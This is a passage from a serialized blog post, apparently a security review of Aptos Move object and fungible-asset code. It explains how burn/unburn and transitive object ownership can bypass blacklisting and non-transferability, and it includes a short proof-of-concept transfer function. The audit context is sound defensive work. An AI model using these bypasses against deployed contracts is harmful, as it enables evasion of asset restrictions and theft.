ag":475,"props":63737,"children":63738},{"style":499},[63739],{"type":32,"value":637},{"type":26,"tag":475,"props":63741,"children":63742},{"style":2375},[63743],{"type":32,"value":63744},"original_owner",{"type":26,"tag":475,"props":63746,"children":63747},{"style":499},[63748],{"type":32,"value":62625},{"type":26,"tag":475,"props":63750,"children":63751},{"style":714},[63752],{"type":32,"value":3187},{"type":26,"tag":475,"props":63754,"children":63755},{"style":493},[63756],{"type":32,"value":63511},{"type":26,"tag":475,"props":63758,"children":63759},{"style":499},[63760],{"type":32,"value":63761},"(ENOT_OBJECT_OWNER));\n",{"type":26,"tag":475,"props":63763,"children":63764},{"class":477,"line":548},[63765,63769,63774,63778,63782,63786],{"type":26,"tag":475,"props":63766,"children":63767},{"style":482},[63768],{"type":32,"value":2705},{"type":26,"tag":475,"props":63770,"children":63771},{"style":2375},[63772],{"type":32,"value":63773}," object_addr",{"type":26,"tag":475,"props":63775,"children":63776},{"style":714},[63777],{"type":32,"value":2383},{"type":26,"tag":475,"props":63779,"children":63780},{"style":2375},[63781],{"type":32,"value":62186},{"type":26,"tag":475,"props":63783,"children":63784},{"style":714},[63785],{"type":32,"value":353},{"type":26,"tag":475,"props":63787,"children":63788},{"style":499},[63789],{"type":32,"value":63790},"inner;\n",{"type":26,"tag":475,"props":63792,"children":63793},{"class":477,"line":558},[63794,63798,63802,63806,63811,63815,63820,63824,63829,63833,63837],{"type":26,"tag":475,"props":63795,"children":63796},{"style":493},[63797],{"type":32,"value":62789},{"type":26,"tag":475,"props":63799,"children":63800},{"style":499},[63801],{"type":32,"value":626},{"type":26,"tag":475,"props":63803,"children":63804},{"style":714},[63805],{"type":32,"value":2816},{"type":26,"tag":475,"props":63807,"children":63808},{"style":493},[63809],{"type":32,"value":63810},"create_signer",{"type":26,"tag":475,"props":63812,"children":63813},{"style":499},[63814],{"type":32,"value":626},{"type":26,"tag":475,"props":63816,"children":63817},{"style":2375},[63818],{"type":32,"value":63819},"object_addr",{"type":26,"tag":475,"props":63821,"children":63822},{"style":499},[63823],{"type":32,"value":14883},{"type":26,"tag":475,"props":63825,"children":63826},{"style":505},[63827],{"type":32,"value":63828},"TombStone",{"type":26,"tag":475,"props":63830,"children":63831},{"style":499},[63832],{"type":32,"value":1101},{"type":26,"tag":475,"props":63834,"children":63835},{"style":2375},[63836],{"type":32,"value":63744},{"type":26,"tag":475,"props":63838,"children":63839},{"style":499},[63840],{"type":32,"value":38528},{"type":26,"tag":475,"props":63842,"children":63843},{"class":477,"line":582},[63844,63849,63853,63857],{"type":26,"tag":475,"props":63845,"children":63846},{"style":493},[63847],{"type":32,"value":63848}," transfer_raw_inner",{"type":26,"tag":475,"props":63850,"children":63851},{"style":499},[63852],{"type":32,"value":626},{"type":26,"tag":475,"props":63854,"children":63855},{"style":2375},[63856],{"type":32,"value":63819},{"type":26,"tag":475,"props":63858,"children":63859},{"style":499},[63860],{"type":32,"value":63861},", BURN_ADDRESS);\n",{"type":26,"tag":475,"props":63863,"children":63864},{"class":477,"line":596},[63865],{"type":26,"tag":475,"props":63866,"children":63867},{"style":499},[63868],{"type":32,"value":3607},{"type":26,"tag":35,"props":63870,"children":63871},{},[63872,63878,63880,63885,63886,63893,63895,63900],{"type":26,"tag":53,"props":63873,"children":63875},{"className":63874},[],[63876],{"type":32,"value":63877},"unburn",{"type":32,"value":63879}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":26,"tag":53,"props":63881,"children":63883},{"className":63882},[],[63884],{"type":32,"value":63564},{"type":32,"value":18240},{"type":26,"tag":116,"props":63887,"children":63890},{"href":63888,"rel":63889},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[120],[63891],{"type":32,"value":63892},"AIP-99",{"type":32,"value":63894}," is a proposal to roll back the ",{"type":26,"tag":53,"props":63896,"children":63898},{"className":63897},[],[63899],{"type":32,"value":63556},{"type":32,"value":63901}," feature, but previously burned objects will remain restorable.",{"type":26,"tag":2637,"props":63903,"children":63904},{},[63905],{"type":26,"tag":35,"props":63906,"children":63907},{},[63908,63910,63914],{"type":32,"value":63909},"This ",{"type":26,"tag":475,"props":63911,"children":63912},{},[63913],{"type":32,"value":63892},{"type":32,"value":63915}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":26,"tag":35,"props":63917,"children":63918},{},[63919,63921,63927,63929,63934,63936,63941],{"type":32,"value":63920},"Another important thing is that ",{"type":26,"tag":53,"props":63922,"children":63924},{"className":63923},[],[63925],{"type":32,"value":63926},"fungible_asset::set_untransferable",{"type":32,"value":63928}," can be used to make all new ",{"type":26,"tag":53,"props":63930,"children":63932},{"className":63931},[],[63933],{"type":32,"value":62272},{"type":32,"value":63935}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":26,"tag":53,"props":63937,"children":63939},{"className":63938},[],[63940],{"type":32,"value":61768},{"type":32,"value":353},{"type":26,"tag":35,"props":63943,"children":63944},{},[63945,63947,63952,63954,63960,63962,63967,63969,63974],{"type":32,"value":63946},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":26,"tag":53,"props":63948,"children":63950},{"className":63949},[],[63951],{"type":32,"value":61768},{"type":32,"value":63953},", X can withdraw from that store. This is because ",{"type":26,"tag":53,"props":63955,"children":63957},{"className":63956},[],[63958],{"type":32,"value":63959},"fungible_asset::withdraw",{"type":32,"value":63961}," uses ",{"type":26,"tag":53,"props":63963,"children":63965},{"className":63964},[],[63966],{"type":32,"value":63286},{"type":32,"value":63968}," to verify both direct and indirect ownership of the ",{"type":26,"tag":53,"props":63970,"children":63972},{"className":63971},[],[63973],{"type":32,"value":61768},{"type":32,"value":49869},{"type":26,"tag":465,"props":63976,"children":63978},{"className":2685,"code":63977,"language":2684,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[63979],{"type":26,"tag":53,"props":63980,"children":63981},{"__ignoreMap":7},[63982,64043,64059,64089,64118,64133,64145,64175,64196,64203,64243,64268,64275],{"type":26,"tag":475,"props":63983,"children":63984},{"class":477,"line":478},[63985,63989,63994,63998,64002,64006,64010,64014,64019,64023,64027,64031,64035,64039],{"type":26,"tag":475,"props":63986,"children":63987},{"style":2375},[63988],{"type":32,"value":6820},{"type":26,"tag":475,"props":63990,"children":63991},{"style":493},[63992],{"type":32,"value":63993}," verify_ungated_and_descendant",{"type":26,"tag":475,"props":63995,"children":63996},{"style":499},[63997],{"type":32,"value":626},{"type":26,"tag":475,"props":63999,"children":64000},{"style":2375},[64001],{"type":32,"value":15315},{"type":26,"tag":475,"props":64003,"children":64004},{"style":714},[64005],{"type":32,"value":179},{"type":26,"tag":475,"props":64007,"children":64008},{"style":2375},[64009],{"type":32,"value":5963},{"type":26,"tag":475,"props":64011,"children":64012},{"style":499},[64013],{"type":32,"value":637},{"type":26,"tag":475,"props":64015,"children":64016},{"style":2375},[64017],{"type":32,"value":64018},"destination",{"type":26,"tag":475,"props":64020,"children":64021},{"style":714},[64022],{"type":32,"value":179},{"type":26,"tag":475,"props":64024,"children":64025},{"style":2375},[64026],{"type":32,"value":5963},{"type":26,"tag":475,"props":64028,"children":64029},{"style":499},[64030],{"type":32,"value":2794},{"type":26,"tag":475,"props":64032,"children":64033},{"style":2375},[64034],{"type":32,"value":6057},{"type":26,"tag":475,"props":64036,"children":64037},{"style":505},[64038],{"type":32,"value":63666},{"type":26,"tag":475,"props":64040,"children":64041},{"style":499},[64042],{"type":32,"value":579},{"type":26,"tag":475,"props":64044,"children":64045},{"class":477,"line":516},[64046,64051,64055],{"type":26,"tag":475,"props":64047,"children":64048},{"style":499},[64049],{"type":32,"value":64050}," [",{"type":26,"tag":475,"props":64052,"children":64053},{"style":714},[64054],{"type":32,"value":9300},{"type":26,"tag":475,"props":64056,"children":64057},{"style":499},[64058],{"type":32,"value":11481},{"type":26,"tag":475,"props":64060,"children":64061},{"class":477,"line":539},[64062,64067,64071,64075,64080,64085],{"type":26,"tag":475,"props":64063,"children":64064},{"style":586},[64065],{"type":32,"value":64066}," while",{"type":26,"tag":475,"props":64068,"children":64069},{"style":499},[64070],{"type":32,"value":2775},{"type":26,"tag":475,"props":64072,"children":64073},{"style":2375},[64074],{"type":32,"value":15315},{"type":26,"tag":475,"props":64076,"children":64077},{"style":714},[64078],{"type":32,"value":64079}," !=",{"type":26,"tag":475,"props":64081,"children":64082},{"style":2375},[64083],{"type":32,"value":64084}," current_address",{"type":26,"tag":475,"props":64086,"children":64087},{"style":499},[64088],{"type":32,"value":676},{"type":26,"tag":475,"props":64090,"children":64091},{"class":477,"line":548},[64092,64097,64101,64106,64110,64114],{"type":26,"tag":475,"props":64093,"children":64094},{"style":2375},[64095],{"type":32,"value":64096}," count",{"type":26,"tag":475,"props":64098,"children":64099},{"style":714},[64100],{"type":32,"value":2383},{"type":26,"tag":475,"props":64102,"children":64103},{"style":2375},[64104],{"type":32,"value":64105}," count",{"type":26,"tag":475,"props":64107,"children":64108},{"style":714},[64109],{"type":32,"value":8616},{"type":26,"tag":475,"props":64111,"children":64112},{"style":903},[64113],{"type":32,"value":4234},{"type":26,"tag":475,"props":64115,"children":64116},{"style":499},[64117],{"type":32,"value":2729},{"type":26,"tag":475,"props":64119,"children":64120},{"class":477,"line":558},[64121,64125,64129],{"type":26,"tag":475,"props":64122,"children":64123},{"style":499},[64124],{"type":32,"value":64050},{"type":26,"tag":475,"props":64126,"children":64127},{"style":714},[64128],{"type":32,"value":9300},{"type":26,"tag":475,"props":64130,"children":64131},{"style":499},[64132],{"type":32,"value":11481},{"type":26,"tag":475,"props":64134,"children":64135},{"class":477,"line":582},[64136,64141],{"type":26,"tag":475,"props":64137,"children":64138},{"style":493},[64139],{"type":32,"value":64140}," assert!",{"type":26,"tag":475,"props":64142,"children":64143},{"style":499},[64144],{"type":32,"value":3169},{"type":26,"tag":475,"props":64146,"children":64147},{"class":477,"line":596},[64148,64153,64157,64162,64166,64171],{"type":26,"tag":475,"props":64149,"children":64150},{"style":2375},[64151],{"type":32,"value":64152}," exists",{"type":26,"tag":475,"props":64154,"children":64155},{"style":499},[64156],{"type":32,"value":5519},{"type":26,"tag":475,"props":64158,"children":64159},{"style":505},[64160],{"type":32,"value":64161},"ObjectCore",{"type":26,"tag":475,"props":64163,"children":64164},{"style":499},[64165],{"type":32,"value":7323},{"type":26,"tag":475,"props":64167,"children":64168},{"style":2375},[64169],{"type":32,"value":64170},"current_address",{"type":26,"tag":475,"props":64172,"children":64173},{"style":499},[64174],{"type":32,"value":6450},{"type":26,"tag":475,"props":64176,"children":64177},{"class":477,"line":610},[64178,64183,64187,64191],{"type":26,"tag":475,"props":64179,"children":64180},{"style":499},[64181],{"type":32,"value":64182}," error",{"type":26,"tag":475,"props":64184,"children":64185},{"style":714},[64186],{"type":32,"value":3187},{"type":26,"tag":475,"props":64188,"children":64189},{"style":493},[64190],{"type":32,"value":63511},{"type":26,"tag":475,"props":64192,"children":64193},{"style":499},[64194],{"type":32,"value":64195},"(ENOT_OBJECT_OWNER),\n",{"type":26,"tag":475,"props":64197,"children":64198},{"class":477,"line":650},[64199],{"type":26,"tag":475,"props":64200,"children":64201},{"style":499},[64202],{"type":32,"value":7455},{"type":26,"tag":475,"props":64204,"children":64205},{"class":477,"line":679},[64206,64210,64214,64218,64223,64227,64231,64235,64239],{"type":26,"tag":475,"props":64207,"children":64208},{"style":482},[64209],{"type":32,"value":2770},{"type":26,"tag":475,"props":64211,"children":64212},{"style":2375},[64213],{"type":32,"value":62186},{"type":26,"tag":475,"props":64215,"children":64216},{"style":714},[64217],{"type":32,"value":2383},{"type":26,"tag":475,"props":64219,"children":64220},{"style":2375},[64221],{"type":32,"value":64222}," borrow_global",{"type":26,"tag":475,"props":64224,"children":64225},{"style":499},[64226],{"type":32,"value":5519},{"type":26,"tag":475,"props":64228,"children":64229},{"style":505},[64230],{"type":32,"value":64161},{"type":26,"tag":475,"props":64232,"children":64233},{"style":499},[64234],{"type":32,"value":7323},{"type":26,"tag":475,"props":64236,"children":64237},{"style":2375},[64238],{"type":32,"value":64170},{"type":26,"tag":475,"props":64240,"children":64241},{"style":499},[64242],{"type":32,"value":3533},{"type":26,"tag":475,"props":64244,"children":64245},{"class":477,"line":735},[64246,64251,64255,64259,64263],{"type":26,"tag":475,"props":64247,"children":64248},{"style":2375},[64249],{"type":32,"value":64250}," current_address",{"type":26,"tag":475,"props":64252,"children":64253},{"style":714},[64254],{"type":32,"value":2383},{"type":26,"tag":475,"props":64256,"children":64257},{"style":2375},[64258],{"type":32,"value":62186},{"type":26,"tag":475,"props":64260,"children":64261},{"style":714},[64262],{"type":32,"value":353},{"type":26,"tag":475,"props":64264,"children":64265},{"style":499},[64266],{"type":32,"value":64267},"owner;\n",{"type":26,"tag":475,"props":64269,"children":64270},{"class":477,"line":744},[64271],{"type":26,"tag":475,"props":64272,"children":64273},{"style":499},[64274],{"type":32,"value":1942},{"type":26,"tag":475,"props":64276,"children":64277},{"class":477,"line":753},[64278],{"type":26,"tag":475,"props":64279,"children":64280},{"style":499},[64281],{"type":32,"value":3607},{"type":26,"tag":35,"props":64283,"children":64284},{},[64285,64287,64292],{"type":32,"value":64286},"This could allow for bypassing assumptions about ",{"type":26,"tag":53,"props":64288,"children":64290},{"className":64289},[],[64291],{"type":32,"value":61768},{"type":32,"value":64293}," true ownership and its non-transferability.",{"type":26,"tag":465,"props":64295,"children":64297},{"className":2685,"code":64296,"language":2684,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[64298],{"type":26,"tag":53,"props":64299,"children":64300},{"__ignoreMap":7},[64301,64359,64412,64456,64504,64511,64556,64564],{"type":26,"tag":475,"props":64302,"children":64303},{"class":477,"line":478},[64304,64308,64312,64317,64321,64326,64330,64334,64338,64342,64347,64351,64355],{"type":26,"tag":475,"props":64305,"children":64306},{"style":2375},[64307],{"type":32,"value":61367},{"type":26,"tag":475,"props":64309,"children":64310},{"style":2375},[64311],{"type":32,"value":490},{"type":26,"tag":475,"props":64313,"children":64314},{"style":493},[64315],{"type":32,"value":64316}," untransferable_transfer",{"type":26,"tag":475,"props":64318,"children":64319},{"style":499},[64320],{"type":32,"value":626},{"type":26,"tag":475,"props":64322,"children":64323},{"style":2375},[64324],{"type":32,"value":64325},"caller",{"type":26,"tag":475,"props":64327,"children":64328},{"style":714},[64329],{"type":32,"value":179},{"type":26,"tag":475,"props":64331,"children":64332},{"style":714},[64333],{"type":32,"value":6854},{"type":26,"tag":475,"props":64335,"children":64336},{"style":2375},[64337],{"type":32,"value":6859},{"type":26,"tag":475,"props":64339,"children":64340},{"style":499},[64341],{"type":32,"value":637},{"type":26,"tag":475,"props":64343,"children":64344},{"style":2375},[64345],{"type":32,"value":64346},"receipient",{"type":26,"tag":475,"props":64348,"children":64349},{"style":714},[64350],{"type":32,"value":179},{"type":26,"tag":475,"props":64352,"children":64353},{"style":2375},[64354],{"type":32,"value":5963},{"type":26,"tag":475,"props":64356,"children":64357},{"style":499},[64358],{"type":32,"value":676},{"type":26,"tag":475,"props":64360,"children":64361},{"class":477,"line":516},[64362,64366,64371,64375,64379,64383,64388,64392,64396,64400,64404,64408],{"type":26,"tag":475,"props":64363,"children":64364},{"style":482},[64365],{"type":32,"value":2705},{"type":26,"tag":475,"props":64367,"children":64368},{"style":2375},[64369],{"type":32,"value":64370}," constructor_ref",{"type":26,"tag":475,"props":64372,"children":64373},{"style":714},[64374],{"type":32,"value":2383},{"type":26,"tag":475,"props":64376,"children":64377},{"style":499},[64378],{"type":32,"value":62186},{"type":26,"tag":475,"props":64380,"children":64381},{"style":714},[64382],{"type":32,"value":3187},{"type":26,"tag":475,"props":64384,"children":64385},{"style":493},[64386],{"type":32,"value":64387},"create_object",{"type":26,"tag":475,"props":64389,"children":64390},{"style":499},[64391],{"type":32,"value":6913},{"type":26,"tag":475,"props":64393,"children":64394},{"style":714},[64395],{"type":32,"value":3187},{"type":26,"tag":475,"props":64397,"children":64398},{"style":493},[64399],{"type":32,"value":6922},{"type":26,"tag":475,"props":64401,"children":64402},{"style":499},[64403],{"type":32,"value":626},{"type":26,"tag":475,"props":64405,"children":64406},{"style":2375},[64407],{"type":32,"value":64325},{"type":26,"tag":475,"props":64409,"children":64410},{"style":499},[64411],{"type":32,"value":6936},{"type":26,"tag":475,"props":64413,"children":64414},{"class":477,"line":539},[64415,64419,64423,64427,64431,64435,64440,64444,64448,64452],{"type":26,"tag":475,"props":64416,"children":64417},{"style":482},[64418],{"type":32,"value":2705},{"type":26,"tag":475,"props":64420,"children":64421},{"style":2375},[64422],{"type":32,"value":63773},{"type":26,"tag":475,"props":64424,"children":64425},{"style":714},[64426],{"type":32,"value":2383},{"type":26,"tag":475,"props":64428,"children":64429},{"style":499},[64430],{"type":32,"value":62186},{"type":26,"tag":475,"props":64432,"children":64433},{"style":714},[64434],{"type":32,"value":3187},{"type":26,"tag":475,"props":64436,"children":64437},{"style":493},[64438],{"type":32,"value":64439},"address_from_constructor_ref",{"type":26,"tag":475,"props":64441,"children":64442},{"style":499},[64443],{"type":32,"value":626},{"type":26,"tag":475,"props":64445,"children":64446},{"style":714},[64447],{"type":32,"value":2816},{"type":26,"tag":475,"props":64449,"children":64450},{"style":2375},[64451],{"type":32,"value":62620},{"type":26,"tag":475,"props":64453,"children":64454},{"style":499},[64455],{"type":32,"value":3533},{"type":26,"tag":475,"props":64457,"children":64458},{"class":477,"line":548},[64459,64463,64467,64471,64476,64480,64484,64488,64492,64496,64500],{"type":26,"tag":475,"props":64460,"children":64461},{"style":482},[64462],{"type":32,"value":2705},{"type":26,"tag":475,"props":64464,"children":64465},{"style":2375},[64466],{"type":32,"value":5544},{"type":26,"tag":475,"props":64468,"children":64469},{"style":714},[64470],{"type":32,"value":2383},{"type":26,"tag":475,"props":64472,"children":64473},{"style":499},[64474],{"type":32,"value":64475}," primary_fungible_store",{"type":26,"tag":475,"props":64477,"children":64478},{"style":714},[64479],{"type":32,"value":3187},{"type":26,"tag":475,"props":64481,"children":64482},{"style":493},[64483],{"type":32,"value":62512},{"type":26,"tag":475,"props":64485,"children":64486},{"style":499},[64487],{"type":32,"value":626},{"type":26,"tag":475,"props":64489,"children":64490},{"style":2375},[64491],{"type":32,"value":63819},{"type":26,"tag":475,"props":64493,"children":64494},{"style":499},[64495],{"type":32,"value":637},{"type":26,"tag":475,"props":64497,"children":64498},{"style":493},[64499],{"type":32,"value":62468},{"type":26,"tag":475,"props":64501,"children":64502},{"style":499},[64503],{"type":32,"value":2494},{"type":26,"tag":475,"props":64505,"children":64506},{"class":477,"line":558},[64507],{"type":26,"tag":475,"props":64508,"children":64509},{"emptyLinePlaceholder":18},[64510],{"type":32,"value":545},{"type":26,"tag":475,"props":64512,"children":64513},{"class":477,"line":582},[64514,64519,64523,64528,64532,64536,64540,64544,64548,64552],{"type":26,"tag":475,"props":64515,"children":64516},{"style":499},[64517],{"type":32,"value":64518}," object",{"type":26,"tag":475,"props":64520,"children":64521},{"style":714},[64522],{"type":32,"value":3187},{"type":26,"tag":475,"props":64524,"children":64525},{"style":493},[64526],{"type":32,"value":64527},"transfer_raw",{"type":26,"tag":475,"props":64529,"children":64530},{"style":499},[64531],{"type":32,"value":626},{"type":26,"tag":475,"props":64533,"children":64534},{"style":2375},[64535],{"type":32,"value":64325},{"type":26,"tag":475,"props":64537,"children":64538},{"style":499},[64539],{"type":32,"value":637},{"type":26,"tag":475,"props":64541,"children":64542},{"style":2375},[64543],{"type":32,"value":63819},{"type":26,"tag":475,"props":64545,"children":64546},{"style":499},[64547],{"type":32,"value":637},{"type":26,"tag":475,"props":64549,"children":64550},{"style":2375},[64551],{"type":32,"value":64346},{"type":26,"tag":475,"props":64553,"children":64554},{"style":499},[64555],{"type":32,"value":3533},{"type":26,"tag":475,"props":64557,"children":64558},{"class":477,"line":596},[64559],{"type":26,"tag":475,"props":64560,"children":64561},{"style":552},[64562],{"type":32,"value":64563}," //receipient can interact with store by using their signer\n",{"type":26,"tag":475,"props":64565,"children":64566},{"class":477,"line":610},[64567],{"type":26,"tag":475,"props":64568,"children":64569},{"style":499},[64570],{"type":32,"value":3607},{"type":26,"tag":35,"props":64572,"children":64573},{},[64574,64576,64583],{"type":32,"value":64575},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":26,"tag":116,"props":64577,"children":64580},{"href":64578,"rel":64579},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[120],[64581],{"type":32,"value":64582},"edge case",{"type":32,"value":64584}," involving the transfer of a non-transferable fungible store.",{"type":26,"tag":465,"props":64586,"children":64588},{"className":2685,"code":64587,"language":2684,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[64589],{"type":26,"tag":53,"props":64590,"children":64591},{"__ignoreMap":7},[64592,64657,64718,64765,64776,64811,64831,64838,64845,64860,64867,64895],{"type":26,"tag":475,"props":64593,"children":64594},{"class":477,"line":478},[64595,64599,64603,64608,64612,64616,64620,64625,64629,64633,64637,64641,64645,64649,64653],{"type":26,"tag":475,"props":64596,"children":64597},{"style":2375},[64598],{"type":32,"value":61367},{"type":26,"tag":475,"props":64600,"children":64601},{"style":2375},[64602],{"type":32,"value":490},{"type":26,"tag":475,"props":64604,"children":64605},{"style":493},[64606],{"type":32,"value":64607}," transfer_with_ref",{"type":26,"tag":475,"props":64609,"children":64610},{"style":499},[64611],{"type":32,"value":626},{"type":26,"tag":475,"props":64613,"children":64614},{"style":482},[64615],{"type":32,"value":63029},{"type":26,"tag":475,"props":64617,"children":64618},{"style":714},[64619],{"type":32,"value":179},{"type":26,"tag":475,"props":64621,"children":64622},{"style":505},[64623],{"type":32,"value":64624}," LinearTransferRef",{"type":26,"tag":475,"props":64626,"children":64627},{"style":499},[64628],{"type":32,"value":637},{"type":26,"tag":475,"props":64630,"children":64631},{"style":2375},[64632],{"type":32,"value":32426},{"type":26,"tag":475,"props":64634,"children":64635},{"style":714},[64636],{"type":32,"value":179},{"type":26,"tag":475,"props":64638,"children":64639},{"style":2375},[64640],{"type":32,"value":5963},{"type":26,"tag":475,"props":64642,"children":64643},{"style":499},[64644],{"type":32,"value":2794},{"type":26,"tag":475,"props":64646,"children":64647},{"style":2375},[64648],{"type":32,"value":6057},{"type":26,"tag":475,"props":64650,"children":64651},{"style":505},[64652],{"type":32,"value":63666},{"type":26,"tag":475,"props":64654,"children":64655},{"style":499},[64656],{"type":32,"value":579},{"type":26,"tag":475,"props":64658,"children":64659},{"class":477,"line":516},[64660,64664,64668,64672,64676,64680,64685,64689,64693,64697,64701,64705,64709,64713],{"type":26,"tag":475,"props":64661,"children":64662},{"style":493},[64663],{"type":32,"value":62036},{"type":26,"tag":475,"props":64665,"children":64666},{"style":499},[64667],{"type":32,"value":626},{"type":26,"tag":475,"props":64669,"children":64670},{"style":714},[64671],{"type":32,"value":20329},{"type":26,"tag":475,"props":64673,"children":64674},{"style":2375},[64675],{"type":32,"value":6418},{"type":26,"tag":475,"props":64677,"children":64678},{"style":499},[64679],{"type":32,"value":5519},{"type":26,"tag":475,"props":64681,"children":64682},{"style":505},[64683],{"type":32,"value":64684},"Untransferable",{"type":26,"tag":475,"props":64686,"children":64687},{"style":499},[64688],{"type":32,"value":7323},{"type":26,"tag":475,"props":64690,"children":64691},{"style":482},[64692],{"type":32,"value":63029},{"type":26,"tag":475,"props":64694,"children":64695},{"style":714},[64696],{"type":32,"value":353},{"type":26,"tag":475,"props":64698,"children":64699},{"style":482},[64700],{"type":32,"value":13420},{"type":26,"tag":475,"props":64702,"children":64703},{"style":499},[64704],{"type":32,"value":62625},{"type":26,"tag":475,"props":64706,"children":64707},{"style":714},[64708],{"type":32,"value":3187},{"type":26,"tag":475,"props":64710,"children":64711},{"style":493},[64712],{"type":32,"value":63511},{"type":26,"tag":475,"props":64714,"children":64715},{"style":499},[64716],{"type":32,"value":64717},"(ENOT_MOVABLE));\n",{"type":26,"tag":475,"props":64719,"children":64720},{"class":477,"line":539},[64721,64725,64729,64733,64737,64741,64745,64749,64753,64757,64761],{"type":26,"tag":475,"props":64722,"children":64723},{"style":482},[64724],{"type":32,"value":2705},{"type":26,"tag":475,"props":64726,"children":64727},{"style":2375},[64728],{"type":32,"value":62186},{"type":26,"tag":475,"props":64730,"children":64731},{"style":714},[64732],{"type":32,"value":2383},{"type":26,"tag":475,"props":64734,"children":64735},{"style":2375},[64736],{"type":32,"value":7309},{"type":26,"tag":475,"props":64738,"children":64739},{"style":499},[64740],{"type":32,"value":5519},{"type":26,"tag":475,"props":64742,"children":64743},{"style":505},[64744],{"type":32,"value":64161},{"type":26,"tag":475,"props":64746,"children":64747},{"style":499},[64748],{"type":32,"value":7323},{"type":26,"tag":475,"props":64750,"children":64751},{"style":482},[64752],{"type":32,"value":63029},{"type":26,"tag":475,"props":64754,"children":64755},{"style":714},[64756],{"type":32,"value":353},{"type":26,"tag":475,"props":64758,"children":64759},{"style":482},[64760],{"type":32,"value":13420},{"type":26,"tag":475,"props":64762,"children":64763},{"style":499},[64764],{"type":32,"value":3533},{"type":26,"tag":475,"props":64766,"children":64767},{"class":477,"line":548},[64768,64772],{"type":26,"tag":475,"props":64769,"children":64770},{"style":493},[64771],{"type":32,"value":62036},{"type":26,"tag":475,"props":64773,"children":64774},{"style":499},[64775],{"type":32,"value":3169},{"type":26,"tag":475,"props":64777,"children":64778},{"class":477,"line":558},[64779,64784,64788,64793,64797,64802,64806],{"type":26,"tag":475,"props":64780,"children":64781},{"style":2375},[64782],{"type":32,"value":64783}," object",{"type":26,"tag":475,"props":64785,"children":64786},{"style":714},[64787],{"type":32,"value":353},{"type":26,"tag":475,"props":64789,"children":64790},{"style":499},[64791],{"type":32,"value":64792},"owner ",{"type":26,"tag":475,"props":64794,"children":64795},{"style":714},[64796],{"type":32,"value":8287},{"type":26,"tag":475,"props":64798,"children":64799},{"style":482},[64800],{"type":32,"value":64801}," ref",{"type":26,"tag":475,"props":64803,"children":64804},{"style":714},[64805],{"type":32,"value":353},{"type":26,"tag":475,"props":64807,"children":64808},{"style":499},[64809],{"type":32,"value":64810},"owner,\n",{"type":26,"tag":475,"props":64812,"children":64813},{"class":477,"line":582},[64814,64819,64823,64827],{"type":26,"tag":475,"props":64815,"children":64816},{"style":499},[64817],{"type":32,"value":64818}," error",{"type":26,"tag":475,"props":64820,"children":64821},{"style":714},[64822],{"type":32,"value":3187},{"type":26,"tag":475,"props":64824,"children":64825},{"style":493},[64826],{"type":32,"value":63511},{"type":26,"tag":475,"props":64828,"children":64829},{"style":499},[64830],{"type":32,"value":64195},{"type":26,"tag":475,"props":64832,"children":64833},{"class":477,"line":596},[64834],{"type":26,"tag":475,"props":64835,"children":64836},{"style":499},[64837],{"type":32,"value":43347},{"type":26,"tag":475,"props":64839,"children":64840},{"class":477,"line":610},[64841],{"type":26,"tag":475,"props":64842,"children":64843},{"style":499},[64844],{"type":32,"value":61478},{"type":26,"tag":475,"props":64846,"children":64847},{"class":477,"line":650},[64848,64852,64856],{"type":26,"tag":475,"props":64849,"children":64850},{"style":499},[64851],{"type":32,"value":62410},{"type":26,"tag":475,"props":64853,"children":64854},{"style":714},[64855],{"type":32,"value":9300},{"type":26,"tag":475,"props":64857,"children":64858},{"style":499},[64859],{"type":32,"value":11481},{"type":26,"tag":475,"props":64861,"children":64862},{"class":477,"line":679},[64863],{"type":26,"tag":475,"props":64864,"children":64865},{"style":499},[64866],{"type":32,"value":61478},{"type":26,"tag":475,"props":64868,"children":64869},{"class":477,"line":735},[64870,64874,64878,64882,64886,64891],{"type":26,"tag":475,"props":64871,"children":64872},{"style":2375},[64873],{"type":32,"value":64518},{"type":26,"tag":475,"props":64875,"children":64876},{"style":714},[64877],{"type":32,"value":353},{"type":26,"tag":475,"props":64879,"children":64880},{"style":499},[64881],{"type":32,"value":64792},{"type":26,"tag":475,"props":64883,"children":64884},{"style":714},[64885],{"type":32,"value":786},{"type":26,"tag":475,"props":64887,"children":64888},{"style":2375},[64889],{"type":32,"value":64890}," to",{"type":26,"tag":475,"props":64892,"children":64893},{"style":499},[64894],{"type":32,"value":2729},{"type":26,"tag":475,"props":64896,"children":64897},{"class":477,"line":744},[64898],{"type":26,"tag":475,"props":64899,"children":64900},{"style":499},[64901],{"type":32,"value":3607},{"type":26,"tag":35,"props":64903,"children":64904},{},[64905,64907,64912,64914,64919],{"type":32,"value":64906},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":26,"tag":53,"props":64908,"children":64910},{"className":64909},[],[64911],{"type":32,"value":63564},{"type":32,"value":64913},"), transferring it to another user, and then registering a non-transferable fungible store 